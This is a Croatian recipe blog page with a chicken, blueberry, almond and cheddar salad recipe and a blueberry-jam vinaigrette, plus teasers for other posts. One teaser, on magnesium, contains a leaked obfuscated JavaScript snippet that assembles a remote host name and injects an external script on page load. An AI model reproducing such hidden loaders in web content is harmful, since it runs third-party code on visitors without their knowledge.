SALATA S PILETINOM I BOROVNICAMA - NEOBIČNA KOMBINACIJA KOJA OSVAJA 🐔 🥗




Salata s piletinom i borovnicama - neobična kombinacija koja osvaja 



Tražite li lagan, a zasitan ljetni obrok gotov za svega 15 minuta, ova je salata pun pogodak. Glavni trik za brzinu je gotova piletina s ražnja koju samo trebate natrgati, dok je zvijezda cijelog tanjura nesvakidašnji voćni preljev. Spajanjem džema od borovnica s balzamičnim octom, maslinovim uljem i senfom dobit ćete živopisan, kiselkasto-slatki vinaigrette.



Salata s piletinom i borovnicama 


Sastojci (za 4 porcije):


Za preljev (vinaigrette):


  • 5 žlica džema od borovnica


  • 1/4 šalice balzamičnog octa (aceto balsamico)


  • 1 1/2 žličica Dijon senfa


  • 3/4 žličice krupne morske ili koser soli


  • 1/2 žličice svježe mljevenog crnog papra


  • 1/2 šalice ekstra djevičanskog maslinovog ulja



Za salatu:

  • 220 g miješane lisnate salate po izboru


  • 1 1/2 šalica narezane ili natrgane piletine s ražnja


  • 1/2 šalice svježih borovnica


  • 1/2 šalice nasjeckanih tostanih badema


  • 60 g zrelog cheddar sira, narezanog na tanke listiće (oko 1/2 šalice)




Priprema:

U srednje velikoj zdjeli pjenjačom dobro umutite džem od borovnica, balzamični ocat, senf, sol i papar. Kada se sastojci povežu, polako u tankom mlazu ulijevajte maslinovo ulje, neprestano i brzo miješajući pjenjačom dok ne dobijete glatki i kremasti preljev.

U veliku zdjelu za posluživanje stavite miješanu lisnatu salatu. Pokapajte je s otprilike pola šalice pripremljenog preljeva i lagano promiješajte kako bi svi listovi bili obloženi.

Preko salate ravnomjerno rasporedite natrganu piletinu, svježe borovnice, tostane bademe i listiće cheddara. Prije samog posluživanja, sve dodatno pokapajte preostalim količinama preljeva po želji.



Upute za pripremu unaprijed

Preljev za salatu možete pripremiti i do 5 dana unaprijed. Čuvajte ga u hladnjaku u dobro zatvorenoj staklenki ili hermetičkoj posudi. Prije same upotrebe i prelijevanja salate, staklenku samo dobro protresite ili preljev još jednom promiješajte pjenjačom kako bi se sastojci ponovno povezali.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više